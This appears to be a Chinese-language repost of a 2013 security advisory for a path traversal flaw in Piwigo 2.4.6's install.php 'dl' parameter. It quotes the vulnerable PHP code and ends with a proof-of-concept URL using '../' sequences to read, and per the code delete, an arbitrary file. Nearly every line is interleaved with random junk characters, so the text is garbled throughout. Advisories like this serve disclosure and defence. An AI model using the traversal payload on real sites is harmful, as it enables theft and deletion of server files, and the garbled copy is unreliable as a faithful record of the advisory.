Piwigo是用PHP编写的相册脚本。! r( L+ P- A# b/ A# s7 Q9 q7 s
8 ^/ R8 t. D$ K9 C. q
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。7 G$ w' j. x* [. ~& B
====================================================================
( Q5 ~) _8 R; B* @/ Z% L/install.php:3 n( y; C7 X* R8 S0 A' B
-------------0 M9 X9 V! r! ~! r5 `9 K
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
+ l j5 t7 D2 D5 e114: {& Q8 |. l# M" |0 @8 _% Q5 }
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];: @3 K" C: C! |$ J! _
116: header('Cache-Control: no-cache, must-revalidate');
# J6 u/ L4 a1 Z9 u+ _) g9 E) t117: header('Pragma: no-cache');
( j, d; F, p& C. a$ t4 \118: header('Content-Disposition: attachment; filename="database.inc.php"');
6 f/ P6 U5 p, J" |/ h119: header('Content-Transfer-Encoding: binary');
1 @8 u V7 s% t% h5 q8 H4 }120: header('Content-Length: '.filesize($filename));
! {% k0 N7 U4 m( X121: echo file_get_contents($filename);
6 L. p o3 y" o9 z# p5 E, J4 X122: unlink($filename);
( f& k$ y! `+ R, B R; g5 T123: exit();
0 D9 C& n2 D6 H2 ?2 F124: }$ D# b/ [) \: F4 F* Q! _
====================================================================
7 A; G* U! \: V, }3 T) j9 L w ) C9 c) n* P) w3 }
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)& v# k9 j; z5 j+ F6 F% s
Apache 2.4.2 (Win32)
! J5 p. Y# [) l; V9 h5 P1 L, u. ^ PHP 5.4.44 I- r( O! F: x. [0 S& f
MySQL 5.5.25a8 p: x8 Z7 ~* |) W, R4 o8 ?
, |4 g/ g9 P% p: A w) N
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic; x9 H, O1 r0 i
@zeroscience$ J9 b+ F- C8 M
" o/ x7 d! q4 }7 x8 Y
Advisory ID: ZSL-2013-5127
[$ P+ K9 u6 Q9 |( X/ |0 sAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php+ O7 p, |' v8 v
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843$ H. C, Q3 r" E9 R0 Z
* z1 g: x# M9 \8 \15.02.2013
' c' m. g5 [9 k6 J* @* \ + s7 @5 g4 c! \! U! s
--3 F4 |1 z3 m3 p: n1 u3 ~5 n
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt1 S* t$ Q9 W" l# N, m& B
0 E u8 h4 c* p |